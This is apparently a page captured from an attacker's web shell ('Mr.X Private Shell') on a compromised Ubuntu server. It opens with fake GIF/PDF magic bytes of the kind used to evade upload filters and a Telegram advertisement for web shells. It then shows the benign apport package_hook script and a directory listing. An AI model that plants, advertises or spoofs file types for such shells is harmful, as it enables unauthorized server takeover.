GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/python3
#
# Collect information about a package installation/upgrade failure.
#
# Copyright (c) 2007 - 2009 Canonical Ltd.
# Author: Martin Pitt <martin.pitt@ubuntu.com>
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version. See http://www.gnu.org/copyleft/gpl.html for
# the full text of the license.
import sys, optparse, os.path, os
import apport, apport.fileutils
def mkattrname(path):
'''Convert a file path to a problem report attribute name.'''
name = ''
for dir in path.split(os.sep):
if dir:
name += ''.join([c for c in dir[0].upper() + dir[1:] if c.isalnum()])
return name
#
# main
#
# parse command line arguments
optparser = optparse.OptionParser('%prog [options]')
optparser.add_option('-p', '--package', help='Specify the package name which failed to upgrade (mandatory)')
optparser.add_option('-l', '--log', action='append', dest='logs',
help='Append given log file, or, if it is a directory, all files in it (can be specified multiple times)')
optparser.add_option('-t', '--tags', help='Add the following tags to the bug report (comma separated)')
options = optparser.parse_args()[0]
if not options.package:
apport.fatal('You need to specify a package name with --package')
sys.exit(1)
# create report
pr = apport.Report('Package')
pr.add_package(options.package)
pr['SourcePackage'] = apport.packaging.get_source(options.package)
pr['ErrorMessage'] = (sys.stdin, False)
if options.tags:
tags = options.tags.replace(',', '')
pr['Tags'] = tags
for line in (options.logs or []):
if os.path.isfile(line):
pr[mkattrname(line)] = (line,)
elif os.path.isdir(line):
for f in os.listdir(line):
path = os.path.join(line, f)
if os.path.isfile(path):
pr[mkattrname(path)] = (path,)
# write report
try:
with apport.fileutils.make_report_file(pr) as f:
pr.write(f)
except (IOError, OSError) as e:
apport.fatal('Cannot create report: ' + str(e))
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| general-hooks | Folder | 0755 |
|
|
| package-hooks | Folder | 0755 |
|
|
| symptoms | Folder | 0755 |
|
|
| testsuite | Folder | 0755 |
|
|
| apport | File | 33.97 KB | 0755 |
|
| apport-checkreports | File | 1.24 KB | 0755 |
|
| apport.jar | File | 2.38 KB | 0644 |
|
| apportcheckresume | File | 3.14 KB | 0755 |
|
| dump_acpi_tables.py | File | 1.59 KB | 0755 |
|
| gcc_ice_hook | File | 1.18 KB | 0755 |
|
| is-enabled | File | 672 B | 0755 |
|
| iwlwifi_error_dump | File | 1.92 KB | 0755 |
|
| java_uncaught_exception | File | 2.58 KB | 0755 |
|
| kernel_crashdump | File | 2.82 KB | 0755 |
|
| kernel_oops | File | 1.2 KB | 0755 |
|
| package_hook | File | 2.17 KB | 0755 |
|
| recoverable_problem | File | 2.25 KB | 0755 |
|
| root_info_wrapper | File | 96 B | 0755 |
|
| unkillable_shutdown | File | 3.41 KB | 0755 |
|
| whoopsie-upload-all | File | 7.9 KB | 0755 |
|